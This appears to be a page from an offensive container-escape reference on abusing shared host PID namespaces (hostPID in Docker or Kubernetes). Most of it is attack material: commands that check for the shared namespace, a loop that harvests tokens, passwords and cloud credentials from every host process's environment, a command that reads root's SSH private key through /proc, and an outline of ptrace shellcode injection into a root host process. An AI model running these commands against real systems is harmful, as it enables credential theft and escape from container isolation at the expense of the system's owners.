With --pid=host or hostPID: true, the container's PID namespace is the host's, so /proc lists every host process. This has two consequences: all host process metadata becomes readable, and, where ptrace is permitted, host processes become injection targets. The first is a near-guaranteed secret-harvesting win; the second is a full escape when a capability or matching UID allows writing another process's memory.
Confirm the shared namespace:
readlink /proc/1/exe # host init path => host PID namespace
ls /proc | grep -E '^[0-9]+$' | wc -l # host-wide process count
ps -ef | grep -vE '\]$' | head # real host daemons listed
Routes#
# Harvest secrets from host process environments and command lines
for p in /proc/[0-9]*; do tr '\0' '\n' < $p/environ 2>/dev/null; done | \
grep -iE 'token|secret|key|pass|aws|kube' | sort -u
# Reach another process's filesystem via its root symlink
cat /proc/<root_pid>/root/root/.ssh/id_ed25519 2>/dev/null
# Inject into a root host process (needs ptrace permission / CAP_SYS_PTRACE)
# seize -> overwrite code at rip via /proc/<pid>/mem -> detach to run shellcode
The environment-variable sweep alone frequently returns cloud credentials, database passwords, and service-account tokens that pivot to the host or cluster without any further escape.
Exploitation notes#
- Reading
environ,cmdline,fd, androotof host processes needs only visibility plus, for other UIDs, sufficient privilege; it is low-noise information disclosure. - Code injection into a host process additionally needs ptrace permission; pair with CAP_SYS_PTRACE. The mechanics are the same as the ptrace injection route, here enabled by the host processes being visible.
- In Kubernetes,
hostPIDpods commonly run alongside node daemons whose memory and environment hold kubelet or cloud credentials; see Host namespaces.